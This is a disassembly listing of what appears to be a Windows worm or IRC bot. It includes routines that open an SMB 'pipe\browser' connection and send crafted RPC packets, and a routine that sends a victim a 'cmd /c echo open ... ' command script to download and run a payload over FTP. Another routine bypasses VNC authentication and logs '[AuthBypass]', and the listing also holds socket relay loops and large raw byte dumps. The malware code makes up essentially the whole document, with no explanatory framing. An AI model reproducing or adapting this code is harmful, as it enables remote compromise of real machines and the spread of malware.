ъ db 0 db 0 db 6Ah ; j db 20h db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; Х db 0A7h ; ╖ db 0DBh ; ш db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 83h ; ┐ db 0C4h ; д db 1Ch db 89h ; ┴ db 85h ; ┘ db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ╦ db 58h ; X db 0D1h ; я db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; Х db 44h ; D db 8Dh ; █ db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA13 ; --------------------------------------------------------------------------- db 0BEh ; ╬ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA13: ; CODE XREF: ___:0040DA0Cj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call near ptr 26F08DDh nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: ___:0040DB2Fj ; ___:0040DD05j ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: ___:0040DA4Ej push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_432254 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432240 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] call near ptr 26E0000h nop test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: ___:0040DC00j push dword ptr [ebp-4] nop call near ptr 26508EFh jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: ___:0040DB24j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 26F0000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4321E8[esi], bl jz short loc_40DBAB push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CDCCC jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: ___:0040DB97j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_432237+1) loc_40DBBE: ; CODE XREF: ___:0040DBA9j lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_4321DC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4321E4[esi] push 7 add eax, edi push offset dword_4321D0 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432070 push eax call sub_41C310 mov eax, dword_4321E0[esi] add esp, 30h cmp byte_4321E8[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CDCC4 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_432200 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: ___:0040DC68j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_432200 loc_40DCC8: ; CODE XREF: ___:0040DCDDj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: ___:0040DCB5j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0A push dword ptr [ebp-4] call near ptr 26508EFh nop push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: ___:0040DCF3j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276AC fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: ___:0040DD72j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+0Ch], eax loc_40DD77: ; CODE XREF: ___:0040DD6Dj lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 26E07ABh nop mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE4: ; CODE XREF: ___:0040DE6Ej cmp dword ptr [ebp-0Ch], 2 jge loc_40DE79 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp-4Ch], ebx jz short loc_40DE68 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 26F0000h test eax, eax jnz short loc_40DE4F nop call near ptr 2670914h cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: ___:0040DE3Cj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 268016Dh cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+0Bh], 1 loc_40DE68: ; CODE XREF: ___:0040DE1Bj ; ___:0040DE62j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: ___:0040DE16j mov esi, [ebp-8] loc_40DE79: ; CODE XREF: ___:0040DDE8j ; ___:0040DE74j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE95 push dword ptr [ebp-4Ch] call edi loc_40DE95: ; CODE XREF: ___:0040DE8Ej cmp [ebp+0Bh], bl setnz al loc_40DE9B: ; CODE XREF: ___:0040DA52j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 81h ; │ db 0ECh ; Л db 0A0h ; ═ db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; Ж db 6Ah ; j db 10h db 8Dh ; █ db 45h ; E db 0F0h ; П db 56h ; V db 50h ; P db 0E8h ; Х db 0D6h ; ж db 0D6h ; ж db 0 db 0 db 83h ; ┐ db 0C4h ; д db 0Ch db 8Dh ; █ db 45h ; E db 0Ch db 66h ; f db 0C7h ; г db 45h ; E db 0F0h ; П db 2 db 0 db 50h ; P db 90h ; ░ db 0E8h ; Х db 2Bh ; + db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; ╣ db 0C4h ; д db 0 db 0 db 0 db 89h ; ┴ db 45h ; E db 0F4h ; Т db 0E8h ; Х db 6Bh ; k db 38h ; 8 db 6Ah ; j db 71h ; q db 90h ; ░ db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ┴ db 45h ; E db 0F2h ; Р db 90h ; ░ db 0E8h ; Х db 37h ; 7 db 5Dh ; ] db 6Ah ; j db 71h ; q db 8Bh ; ▀ db 0D8h ; ь db 83h ; ┐ db 0FBh ; Ш db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; █ db 45h ; E db 0F0h ; П db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; © db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ▀ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 0B8h ; ╦ db 8 db 91h ; ▒ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 0E0h ; Ю db 0ACh ; ╛ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0DFh ; ъ db 0CCh ; л db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 88h ; ┬ db 22h ; " db 43h ; C db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 68h ; h db 90h ; ░ db 1 db 0 db 0 db 50h ; P db 0E8h ; Х db 38h ; 8 db 0DAh ; з db 0 db 0 db 83h ; ┐ db 0C4h ; д db 1Ch db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; Х db 87h ; ┤ db 0D0h ; п db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 8Bh ; ▀ db 3Bh ; ; db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; ю db 0EBh ; К db 17h db 6Ah ; j db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 53h ; S db 90h ; ░ db 0E8h ; Х db 0E7h ; Г db 3Ah ; : db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; и db 0C3h ; ц dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h dd 90000007h, 26202BE8h, 0FB834302h, 6AB87202h, 5E5F5801h ; --------------------------------------------------------------------------- pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CACE0 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: ___:off_431444o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CAFE4 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CAFA4 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_4322FC push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j nop call near ptr 71AB1A6Dh loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431448[eax] lea eax, dword_431448[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: ___:0040E27Ap ; ___:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CAFBC test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p ; ___:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433540 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CB024 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: ___:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CAFE4 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CAFA4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: ___:0040E232j call dword_4CB03C jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: ___:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E467 cmp dword ptr [ebp-28h], 3 jz short loc_40E2BF cmp dword ptr [ebp-20h], 8 jnz loc_40E467 loc_40E2BF: ; CODE XREF: ___:0040E2B3j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E467 push 1 push offset dword_4CAE5C push ebx call sub_40E1C5 add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F7 push edi push esi push ebx call sub_40E18C add esp, 0Ch loc_40E3F7: ; CODE XREF: ___:0040E3EAj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A72 lea eax, [ebp-24Ch] push eax call sub_4151AC mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431448[eax] push ebx lea eax, dword_431448[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40E470 ; --------------------------------------------------------------------------- loc_40E467: ; CODE XREF: ___:0040E284j ; ___:0040E2A9j ... push ebx call near ptr 71AB1A6Dh nop loc_40E46E: ; CODE XREF: ___:0040E26Ej xor eax, eax loc_40E470: ; CODE XREF: ___:0040E465j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47E: ; CODE XREF: ___:0040E49Aj ; ___:0040E4B6j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CDCE4 call dword_4CAFBC test eax, eax jle short loc_40E47E lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CDCE0 nop call near ptr 26E0000h jmp short loc_40E47E ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C1: ; CODE XREF: ___:0040E4E7j ; ___:0040E501j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CDCD4 nop call near ptr 26F0000h cmp dword ptr [ebp-4], 0 jle short loc_40E4C1 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CDCE4 call dword_4CAFF4 jmp short loc_40E4C1 ; --------------------------------------------------------------------------- byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h dd 0A415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0B02415FFh dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFD0h dd 75FF056Ah, 0CC15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h dd 57004270h, 875FF57h, 0B03815FFh, 0E4A3004Ch, 8D004CDCh dd 5057F445h, 4CDCE068h, 0DCDC6800h, 45C7004Ch, 0CF4h dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0D8685057h, 68004CDCh dd 4CDCD4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0DCA10000h dd 83004CDCh, 45890CC4h, 0DCD8A1BCh, 4589004Ch, 16A57C0h dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h dd 2094E890h, 0FF50022Fh, 4CDCD835h, 2088E800h, 5090022Fh dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h dd 8D50016Ah, 6850F445h, 433544h, 2563E857h, 8D900224h dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h, 261A47E8h dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h dd 1A2EE890h, 0FF6A0226h, 0FFF04589h, 0E890D875h, 2271AF1h dd 0F075FF57h, 22FBE890h, 0FF570227h, 0E890EC75h, 22722F1h dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E244Ch dd 0DCDC35FFh, 0D6FF004Ch, 0DCE035FFh, 0D6FF004Ch, 0DCD435FFh dd 0D6FF004Ch, 0DCD835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h dd 0B0E9D6FFh, 0E9FFFFFEh, 0 ; --------------------------------------------------------------------------- push 0FFFEh push 400h call sub_418684 pop ecx mov dword_4CDCEC, eax pop ecx retn ; --------------------------------------------------------------------------- byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do dword_40E6F0 dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h dd 0A415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh dd 4CB024h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0DEECB889h dd 458D0043h, 0FF5750ECh, 4CAFD015h, 0BBC63B00h, 400h dd 0CF850Fh, 15FF0000h, 4CAF38h, 27403Dh, 33477400h, 0E47539F6h dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 0ECA35900h dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFD015h dd 75C63B00h, 3815FF54h, 33004CAFh, 0E47539F6h, 403D2775h dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah dd 90565959h, 2C176FE8h, 57056A02h, 0AFCC15FFh, 0C63B004Ch dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh dd 0FFFFFF40h, 15FF5750h, 4CB038h, 89FFF883h, 0E6740845h dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh dd 20068h, 75FF5000h, 0BC15FF08h, 83004CAFh, 9674FFF8h dd 35FF5656h, 4CACE0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h dd 354C6850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFF415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCF405h, 0FF38E900h, 0FF57FFFFh, 4CB03C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 0E8006A59h, 22C1670h db 90h byte_40E991 db 55h, 